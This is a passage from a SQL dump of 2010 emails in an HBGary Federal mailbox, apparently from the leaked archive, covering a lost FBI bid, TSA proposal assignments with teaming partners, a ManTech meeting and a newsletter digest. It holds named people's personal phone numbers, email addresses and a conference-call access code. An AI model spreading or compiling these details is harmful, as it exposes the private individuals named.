<ted@hbgary.com>','/aaron@hbgary.com/new/1297007730.M351330P14101Q4710.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Lost FBI ESOC to Mantech','---------- Forwarded message ----------From: Lemke, Michelle R. &lt;michelle.lemke@gd-ais.com&gt;\r\nDate: Fri, Aug 6, 2010 at 12:09 PMSubject: Lost FBI ESOC to MantechTo: &quot;Prouty, Charlie S&quot; &lt;Charlie.Prouty@gdit.com&gt;, &quot;Jackson, Eric D.&quot; &lt;eric.jackson@gd-ais.com&gt;, &quot;Brunelli, Rex&quot; &lt;Rex.Brunelli@gd-ais.com&gt;, &quot;Mackert, Todd D.&quot; &lt;Todd.Mackert@gd-ais.com&gt;, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt;, &quot;Arismendi, Charles B.&quot; &lt;Charles.Arismendi@gd-ais.com&gt;, &quot;Berthiaume, Richard A.&quot; &lt;richard.berthiaume@gd-ais.com&gt;, &quot;Walter, Troy&quot; &lt;Troy.Walter@gdit.com&gt;, &quot;Burton, Roger C.&quot; &lt;Roger.Burton@gd-ais.com&gt;, John Reed Stark &lt;JStark@strozfriedberg.com&gt;, &quot;McQueen, Warren R&quot; &lt;warren.mcqueen@gdit.com&gt;, &quot;Metzler, Jay&quot; &lt;Jmetzler@sms.com&gt;, Ted Vera &lt;ted@hbgary.com&gt;, &quot;Crowley, Ted&quot; &lt;TCrowley@sms.com&gt;, &quot;Cornell, Billie J.&quot; &lt;Billie.Cornell@gd-ais.com&gt;, Bill Lillard &lt;blillard@emesec.net&gt;, &quot;Varga, Joan A.&quot; &lt;Joan.Varga@gd-ais.com&gt;, &quot;Hoagland, Kimberly A.&quot; &lt;Kimberly.Hoagland@gd-ais.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe’ve asked for a debrief but just wanted to let you all know the news. Please pass to those I’ve missed on this e-mail. \r\n \r\nThanks for all your support. \r\n \r\nMichelle\r\n \r\nMichelle Lemke\r\nSenior Manager Business Development\r\nGeneral Dynamics Advanced Information Systems\r\nBB  703-946-1495\r\nC 757-286-9239\r\n \r\n \r\n \r\n\r\n\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n',8050,'aaron_hbgary_com/8050.html'),(9855,'2010-08-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007730.M83833P14101Q4709.eml','\"Kirby Kintner\" <kkintner@digitalmanagement.com>,\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: TSA-ITSSS Content Docs and Data Call','Working on getting output out. &nbsp;Some issues.Biggest items are the OCI. &nbsp;And assuming labor efforts for non-key positions. &nbsp;I think we can donor for my 5 areas.AaronSent from my iPhoneOn Aug 6, 2010, at 12:34 PM, Kirby Kintner &lt;kkintner@digitalmanagement.com&gt; wrote:\r\n\r\n\r\n\r\nQuestions are due today at\r\n5PM.&nbsp; We need your questions back to John and me by 2 PM so that\r\nleadership has a chance to review/vet them before we submit. Using the template\r\nprovided by John yesterday, please submit your questions to us not later than\r\n2PM.&nbsp; \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nThank you,\r\n\r\n&nbsp;\r\n\r\nKirby\r\n\r\n703-966-7887\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14392,'aaron_hbgary_com/14392.html'),(9856,'2010-08-06','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007736.M844548P14101Q4711.eml','\"Barr Aaron\" <aaron@hbgary.com>','Solicitation Docs','Attached.-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n',15450,'aaron_hbgary_com/15450.html'),(9857,'2010-08-06','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297007737.M338933P14101Q4712.eml','aaron@hbgary.com,jwootton@palantir.com,\"Kirby Kintner\" <kkintner@digitalmanagement.com>,\"Martin Fertal\" <Martin.Fertal@TASC.com>,msteckman@palantir.com,\"Paul Meaney\" <paul.meaney@ngc.com>,rob.wilson@telos.com,robert.sanderson@telos.com,Suzanne.Petrie@TASC.COM,ted@hbgary.com,tom.leahy@telos.com,tom.ryder@telos.com,\"William Luti\" <wluti@digitalmanagement.com>','Additional templates','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTeam-\r\n\r\n&nbsp;\r\n\r\nPlease send Kirby and I the questions\r\nyou have for the government.&nbsp; We will email them to the government and copy you\r\nall at 4:30pm sharp.\r\n\r\n&nbsp;\r\n\r\nAttached are some additional templates,\r\nand an updated template for Past Performances.\r\n\r\n&nbsp;\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHere&#8217;s the Key\r\nPersonnel Resume template.\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFor the Past\r\nPerformacne short list, just complete one of that attached for each one.\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFor surge capacity,\r\nfill out the attached spreadsheet.\r\n\r\n4)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSuccess stories: any\r\nformat will do.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nVP\r\n\r\nDigital Management, Inc.\r\n\r\n301-346-6749 cell\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: John Fanguy \r\nSent: Thursday, August 05, 2010 7:53 PM\r\nTo: \'aaron@hbgary.com\'; \'jwootton@palantir.com\'; \'Kirby\';\r\n\'msteckman@palantir.com\'; \'paul.meaney@telos.com\'; \'rob.wilson@telos.com\';\r\n\'robert.sanderson@telos.com\'; \'Suzanne.Petrie@TASC.COM\'; \'ted@hbgary.com\'; \'tom.leahy@telos.com\';\r\n\'tom.ryder@telos.com\'\r\nSubject: TSA-ITSSS Content Docs and Data Call \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nTeam-\r\n\r\n&nbsp;\r\n\r\nThanks again for all your work to date on the TSA-ITSSS RFP\r\nprep!\r\n\r\n&nbsp;\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe begin our daily 8:30am fifteen minute con calls\r\ntomorrow, Friday. &nbsp;Please use 605-475-4850 code 1066743#.\r\n\r\n&nbsp;\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nQuestions are due to the government at 5pm tomorrow,\r\nFriday, so we need them by 2pm to compile.&nbsp; Use the attached template.\r\n\r\n&nbsp;\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nKirby Kintner, at kkintner@digitalmanagement.com\r\nand 703-966-7887, is our proposal manager.\r\n\r\n&nbsp;\r\n\r\n4)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBelow are the items needed short-term, with assignments\r\nand due dates.&nbsp; Attached are related docs, including an overall\r\ncalendar.&nbsp; Note that the first 4 items are due Friday 5pm, but they are\r\ntypical corporate items. \r\n\r\n&nbsp;\r\n\r\n5)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPink Team review is next Thursday, Aug 12, from noon to\r\n3pm at DMI in Bethesda at 6701 Democracy Blvd, 20817.&nbsp; Content from\r\neveryone for the review is due Wednesday Aug 11 at noon.\r\n\r\n&nbsp;\r\n\r\n6)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAlso attached is the team contact list.&nbsp; Please be\r\nsure to notify us of any additional people who need to be added for your\r\ncompany.\r\n\r\n&nbsp;\r\n\r\nThanks, and please don&#8217;t hesitate to contact me or Kirby if\r\nyou have any questions/concerns. Talk to you tomorrow morning.\r\n\r\n&nbsp;\r\n\r\n-John Fanguy\r\n\r\n301-346-6749 c\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  No.\r\n  \r\n  \r\n  Item\r\n  \r\n  \r\n  Description\r\n  \r\n  \r\n  Format\r\n  \r\n  \r\n  Teams\r\n  \r\n  \r\n  Due\r\n  \r\n \r\n \r\n  \r\n  1\r\n  \r\n  \r\n  Scalable Logo\r\n  \r\n  \r\n  PNG or high res BMP \r\n  \r\n  \r\n  PNG or high res BMP \r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/6/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  2\r\n  \r\n  \r\n  Company Info\r\n  \r\n  \r\n  Legal name of bidding entity;\r\n  State of Incorporation\r\n  \r\n  \r\n  Email text\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/6/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  3\r\n  \r\n  \r\n  Capabilities Overview\r\n  \r\n  \r\n  One page description of\r\n  corporate capabilities in IA/Cyber Security\r\n  \r\n  \r\n  Email text or Word\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/6/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  4\r\n  \r\n  \r\n  Capabilities collateral\r\n  \r\n  \r\n  PPTs or PDF brochures of IA\r\n  capabilities\r\n  \r\n  \r\n  Any\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/6/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  5\r\n  \r\n  \r\n  Contact Info\r\n  \r\n  \r\n  Name, email and best phone for\r\n  content writers at each teaming partner\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/6/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  6\r\n  \r\n  \r\n  Resumes\r\n  \r\n  \r\n  Across the 13 key personnel\r\n  labor categories, please provide 4 resumes that can be used in the proposal.\r\n  \r\n  \r\n  Attached &quot;TSA-ITSS\r\n  Resume&quot;, and name the file with the person\'s last name.\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/9/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  7\r\n  \r\n  \r\n  Past Performance Short-list\r\n  \r\n  \r\n  Your best &nbsp;IA/Cyber\r\n  Security&nbsp;past performance reference description\r\n  \r\n  \r\n  Attached &quot;TSA-ITSS Past\r\n  Performance - COMPANY_NAME&quot;\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/9/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  8\r\n  \r\n  \r\n  Surge Staff Capacity\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Attached &quot;TSA-ITSSS Labor\r\n  Categories - COMPANY_NAME&quot;\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  9\r\n  \r\n  \r\n  Success stories\r\n  \r\n  \r\n  Please provide 3 success\r\n  stories, preferably with metrics, illuminating your company\'s strength\r\n  in&nbsp; the IA areas\r\n  \r\n  \r\n  &nbsp;Text or Word\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/9/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  10\r\n  \r\n  \r\n  Benefits Comparison Chart\r\n  \r\n  \r\n  Industry comparison of DMI\r\n  benefits\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  DMI\r\n  \r\n  \r\n  8/10/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  11\r\n  \r\n  \r\n  Vol 1 - Management - 1.1 -\r\n  Solution Overview\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  1 page\r\n  \r\n  \r\n  HBGary\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  12\r\n  \r\n  \r\n  Vol 1 - Management - 1.2 - Team\r\n  Overview\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  2 pages\r\n  \r\n  \r\n  DMI\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  13\r\n  \r\n  \r\n  Vol 1 - Management - 1.3 -\r\n  Technical Response\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  5 pages\r\n  \r\n  \r\n  Telos\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  14\r\n  \r\n  \r\n  Vol 1 - Management -&nbsp; IA\r\n  Support\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  5 pages\r\n  \r\n  \r\n  Telos\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  15\r\n  \r\n  \r\n  Vol 1 - Management - 1.3.3 - IA\r\n  Technical Services\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  5 pages\r\n  \r\n  \r\n  HBGary\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  16\r\n  \r\n  \r\n  Vol 1 - Management - 1.3.4 - IA\r\n  General Requirements\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  2 pages\r\n  \r\n  \r\n  NGC\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  17\r\n  \r\n  \r\n  Vol 1 - Management - 1.3.5 -\r\n  Cyber Critical Infrastructure and Planning Support\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  3 pages\r\n  \r\n  \r\n  NGC\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  18\r\n  \r\n  \r\n  Vol 1 - Management - 2.0 -&nbsp;\r\n  Management and Quality Control\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  7 Pages\r\n  \r\n  \r\n  TBD\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  19\r\n  \r\n  \r\n  Vol 2&nbsp; - Past Performance\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  NL\r\n  \r\n  \r\n  DMI\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  20\r\n  \r\n  \r\n  Vol 3 - Pricing\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  3 pages\r\n  \r\n  \r\n  DMI\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  21\r\n  \r\n  \r\n  Vol 4 - Staffing\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  30 pages\r\n  \r\n  \r\n  Telos\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  22\r\n  \r\n  \r\n  Vol 5 -&nbsp; Pricing\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  NL\r\n  \r\n  \r\n  DMI\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  23\r\n  \r\n  \r\n  Past Performance Questionaires\r\n  \r\n  \r\n  Completed questionaires from\r\n  references.\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  TBD\r\n  \r\n  \r\n  8/16/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  24\r\n  \r\n  \r\n  Labor Category Pricing\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Attached &quot;TSA-ITSSS Labor\r\n  Categories - COMPANY_NAME&quot;\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/16/10 5:00 PM\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749 cell\r\n\r\n240-223-4800 main\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13636,'aaron_hbgary_com/13636.html'),(9858,'2010-08-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007737.M756772P14101Q4713.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>,\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: Additional templates','Questions.  Not much.  From my perspective things were pretty straight forward except for the labor for non-key personnel.  As I mentioned, I can fairly confidently estimate for the 5-6 positions in my perview...others I would not hazzard to guess.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\nOn Aug 6, 2010, at 2:25 PM, John Fanguy wrote:\r\n\r\n> Team-\r\n>  \r\n> Please send Kirby and I the questions you have for the government.  We will email them to the government and copy you all at 4:30pm sharp.\r\n>  \r\n> Attached are some additional templates, and an updated template for Past Performances.\r\n>  \r\n> 1)      Here’s the Key Personnel Resume template.\r\n> 2)      For the Past Performacne short list, just complete one of that attached for each one.\r\n> 3)      For surge capacity, fill out the attached spreadsheet.\r\n> 4)      Success stories: any format will do.\r\n>  \r\n> -John\r\n>  \r\n> VP\r\n> Digital Management, Inc.\r\n> 301-346-6749 cell\r\n>  \r\n>  \r\n> From: John Fanguy \r\n> Sent: Thursday, August 05, 2010 7:53 PM\r\n> To: \'aaron@hbgary.com\'; \'jwootton@palantir.com\'; \'Kirby\'; \'msteckman@palantir.com\'; \'paul.meaney@telos.com\'; \'rob.wilson@telos.com\'; \'robert.sanderson@telos.com\'; \'Suzanne.Petrie@TASC.COM\';\'ted@hbgary.com\'; \'tom.leahy@telos.com\'; \'tom.ryder@telos.com\'\r\n> Subject: TSA-ITSSS Content Docs and Data Call\r\n>  \r\n> Team-\r\n>  \r\n> Thanks again for all your work to date on the TSA-ITSSS RFP prep!\r\n>  \r\n> 1)      We begin our daily 8:30am fifteen minute con calls tomorrow, Friday.  Please use 605-475-4850 code 1066743#.\r\n>  \r\n> 2)      Questions are due to the government at 5pm tomorrow, Friday, so we need them by 2pm to compile.  Use the attached template.\r\n>  \r\n> 3)      Kirby Kintner, at kkintner@digitalmanagement.com and 703-966-7887, is our proposal manager.\r\n>  \r\n> 4)      Below are the items needed short-term, with assignments and due dates.  Attached are related docs, including an overall calendar.  Note that the first 4 items are due Friday 5pm, but they are typical corporate items.\r\n>  \r\n> 5)      Pink Team review is next Thursday, Aug 12, from noon to 3pm at DMI in Bethesda at 6701 Democracy Blvd, 20817.  Content from everyone for the review is due Wednesday Aug 11 at noon.\r\n>  \r\n> 6)      Also attached is the team contact list.  Please be sure to notify us of any additional people who need to be added for your company.\r\n>  \r\n> Thanks, and please don’t hesitate to contact me or Kirby if you have any questions/concerns. Talk to you tomorrow morning.\r\n>  \r\n> -John Fanguy\r\n> 301-346-6749 c\r\n>  \r\n> No.\r\n> Item\r\n> Description\r\n> Format\r\n> Teams\r\n> Due\r\n> 1\r\n> Scalable Logo\r\n> PNG or high res BMP\r\n> PNG or high res BMP\r\n> All\r\n> 8/6/10 5:00 PM\r\n> 2\r\n> Company Info\r\n> Legal name of bidding entity; State of Incorporation\r\n> Email text\r\n> All\r\n> 8/6/10 5:00 PM\r\n> 3\r\n> Capabilities Overview\r\n> One page description of corporate capabilities in IA/Cyber Security\r\n> Email text or Word\r\n> All\r\n> 8/6/10 5:00 PM\r\n> 4\r\n> Capabilities collateral\r\n> PPTs or PDF brochures of IA capabilities\r\n> Any\r\n> All\r\n> 8/6/10 5:00 PM\r\n> 5\r\n> Contact Info\r\n> Name, email and best phone for content writers at each teaming partner\r\n>  \r\n> All\r\n> 8/6/10 5:00 PM\r\n> 6\r\n> Resumes\r\n> Across the 13 key personnel labor categories, please provide 4 resumes that can be used in the proposal.\r\n> Attached \"TSA-ITSS Resume\", and name the file with the person\'s last name.\r\n> All\r\n> 8/9/10 5:00 PM\r\n> 7\r\n> Past Performance Short-list\r\n> Your best  IA/Cyber Security past performance reference description\r\n> Attached \"TSA-ITSS Past Performance - COMPANY_NAME\"\r\n> All\r\n> 8/9/10 5:00 PM\r\n> 8\r\n> Surge Staff Capacity\r\n>  \r\n> Attached \"TSA-ITSSS Labor Categories - COMPANY_NAME\"\r\n> All\r\n> 8/11/10 2:00 PM\r\n> 9\r\n> Success stories\r\n> Please provide 3 success stories, preferably with metrics, illuminating your company\'s strength in  the IA areas\r\n>  Text or Word\r\n> All\r\n> 8/9/10 5:00 PM\r\n> 10\r\n> Benefits Comparison Chart\r\n> Industry comparison of DMI benefits\r\n>  \r\n> DMI\r\n> 8/10/10 5:00 PM\r\n> 11\r\n> Vol 1 - Management - 1.1 - Solution Overview\r\n>  \r\n> 1 page\r\n> HBGary\r\n> 8/11/10 2:00 PM\r\n> 12\r\n> Vol 1 - Management - 1.2 - Team Overview\r\n>  \r\n> 2 pages\r\n> DMI\r\n> 8/11/10 2:00 PM\r\n> 13\r\n> Vol 1 - Management - 1.3 - Technical Response\r\n>  \r\n> 5 pages\r\n> Telos\r\n> 8/11/10 2:00 PM\r\n> 14\r\n> Vol 1 - Management -  IA Support\r\n>  \r\n> 5 pages\r\n> Telos\r\n> 8/11/10 2:00 PM\r\n> 15\r\n> Vol 1 - Management - 1.3.3 - IA Technical Services\r\n>  \r\n> 5 pages\r\n> HBGary\r\n> 8/11/10 2:00 PM\r\n> 16\r\n> Vol 1 - Management - 1.3.4 - IA General Requirements\r\n>  \r\n> 2 pages\r\n> NGC\r\n> 8/11/10 2:00 PM\r\n> 17\r\n> Vol 1 - Management - 1.3.5 - Cyber Critical Infrastructure and Planning Support\r\n>  \r\n> 3 pages\r\n> NGC\r\n> 8/11/10 2:00 PM\r\n> 18\r\n> Vol 1 - Management - 2.0 -  Management and Quality Control\r\n>  \r\n> 7 Pages\r\n> TBD\r\n> 8/11/10 2:00 PM\r\n> 19\r\n> Vol 2  - Past Performance\r\n>  \r\n> NL\r\n> DMI\r\n> 8/11/10 2:00 PM\r\n> 20\r\n> Vol 3 - Pricing\r\n>  \r\n> 3 pages\r\n> DMI\r\n> 8/11/10 2:00 PM\r\n> 21\r\n> Vol 4 - Staffing\r\n>  \r\n> 30 pages\r\n> Telos\r\n> 8/11/10 2:00 PM\r\n> 22\r\n> Vol 5 -  Pricing\r\n>  \r\n> NL\r\n> DMI\r\n> 8/11/10 2:00 PM\r\n> 23\r\n> Past Performance Questionaires\r\n> Completed questionaires from references.\r\n>  \r\n> TBD\r\n> 8/16/10 5:00 PM\r\n> 24\r\n> Labor Category Pricing\r\n>  \r\n> Attached \"TSA-ITSSS Labor Categories - COMPANY_NAME\"\r\n> All\r\n> 8/16/10 5:00 PM\r\n>  \r\n>  \r\n>  \r\n>  \r\n> -John\r\n>  \r\n> John Fanguy\r\n> VP\r\n> Digital Management, Inc.\r\n> \"Leading Government Transformation\"\r\n> GSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n> --------------------------------------------------\r\n> 6701 Democracy Blvd, Suite 500\r\n> Bethesda, Maryland 20817\r\n> 301-346-6749 cell\r\n> 240-223-4800 main\r\n> \r\n>  \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12033,'aaron_hbgary_com/12033.html'),(9859,'2010-08-06','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','/aaron@hbgary.com/new/1297007738.M286845P14101Q4715.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Additional templates','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for the input.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, August 06, 2010 2:40 PM\r\nTo: John Fanguy\r\nCc: Kirby Kintner\r\nSubject: Re: Additional templates \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nQuestions. &nbsp;Not much. &nbsp;From my perspective things\r\nwere pretty straight forward except for the labor for non-key personnel. &nbsp;As\r\nI mentioned, I can fairly confidently estimate for the 5-6 positions in my\r\nperview...others I would not hazzard to guess.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14637,'aaron_hbgary_com/14637.html'),(9860,'2010-08-06','\"Varner, Bill\" <Bill.Varner@ManTech.com>','/aaron@hbgary.com/new/1297007738.M49763P14101Q4714.eml','\"Varner, Bill\" <Bill.Varner@ManTech.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Varner, Bill\" <Bill.Varner@ManTech.com>,\"Aaron Barr\" <aaron@hbgary.com>','Opportunities Discussion w/HBGary Federal & ManTech MCTS (Barr/Varner)','\r\n\r\n\r\n\r\n\r\nOpportunities Discussion w/HBGary Federal &amp; ManTech MCTS (Barr/Varner)\r\n\r\n\r\n\r\n\r\nWhen: Thursday, August 12, 2010 9:00 AM-10:00 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: Bill\'s office, ManTech MCTS, 2250 Corporate Park Drive, Ste 500, Herndon, VA&nbsp; 20171\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nUPDATE 8/6/10:&nbsp; Hi Aaron &#8211; Per our phone conversation just now, I am rescheduling this meeting from Wed. 8/11 at 11am to Thurs. 8/12 at 9am.&nbsp; Thank you for your flexibility. &#8211;DB\r\n\r\n**************************************************\r\n\r\n\r\n\r\nHi Aaron &#8211; Per your request and our e-mail conversation, I have scheduled this meeting.&nbsp; \r\n\r\n\r\n\r\nSincerely,\r\n\r\nDana M. Briggs\r\n\r\nExecutive Assistant to\r\n\r\nL. William Varner, President\r\n\r\nMission, Cyber &amp; Technology Solutions Group\r\n\r\nManTech International Corporation\r\n\r\n2250 Corporate Park Drive, Suite 500\r\n\r\nHerndon, VA 20171 \r\n\r\n(703) 674-2626 - phone\r\n\r\n(571) 485-2362 - e-fax\r\n\r\nDana.Briggs@ManTech.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14657,'aaron_hbgary_com/14657.html'),(9861,'2010-08-06','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297007738.M551234P14101Q4716.eml','\"Aaron Barr\" <aaron@hbgary.com>','Phone list','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron-\r\n\r\n&nbsp;\r\n\r\nAttached is the phone list.&nbsp; \r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nGreen row means I have them committed or I&#8217;m\r\nclose; Yellow means I&#8217;ve started.&nbsp; \r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nIf you see &#8220;Pragmatics&#8221; on the left side, they\r\nare on the sister contract&#8230;Pragmatics is conflicted out.&nbsp; But those folks\r\ndefinitely work along side the KCG people.\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nNote some of them are now Feds, which I&#8217;ve\r\nnoted.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAny progress you make is GREATLY APPRECIATED!!!\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749\r\ncell\r\n\r\n240-223-4800 main\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7323,'aaron_hbgary_com/7323.html'),(9862,'2010-08-06','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007743.M12877P14101Q4717.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Joe Pizzo\" <joe@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','FW: NMCIWG: Weekly Espionage Newsletter','\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Thursday, August 05, 2010 4:24 PM\r\nSubject: FW: NMCIWG: Weekly Espionage Newsletter\r\n\r\n \r\n\r\nSubject: NMCIWG: Weekly Espionage Newsletter\r\n\r\nThis week\'s articles:\r\n\r\n*       Chip spies arrested in South Korea\r\n\r\n*       \'Doll Woman\' indicted for WWII espionage\r\n\r\n*       Stern Hu to face trial on espionage charge \r\n\r\n*       Goldman Sachs Spy Indicted\r\n\r\n*       Uncovered documents Hitler\'s secrets\r\n\r\n*       Report: China-based hackers stole India secrets\r\n\r\n*       Thanko\'s Spy Flashlight records video in HD\r\n\r\n',13839,'aaron_hbgary_com/13839.html'),(9863,'2010-08-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007743.M272675P14101Q4718.eml','\"John Fanguy\" 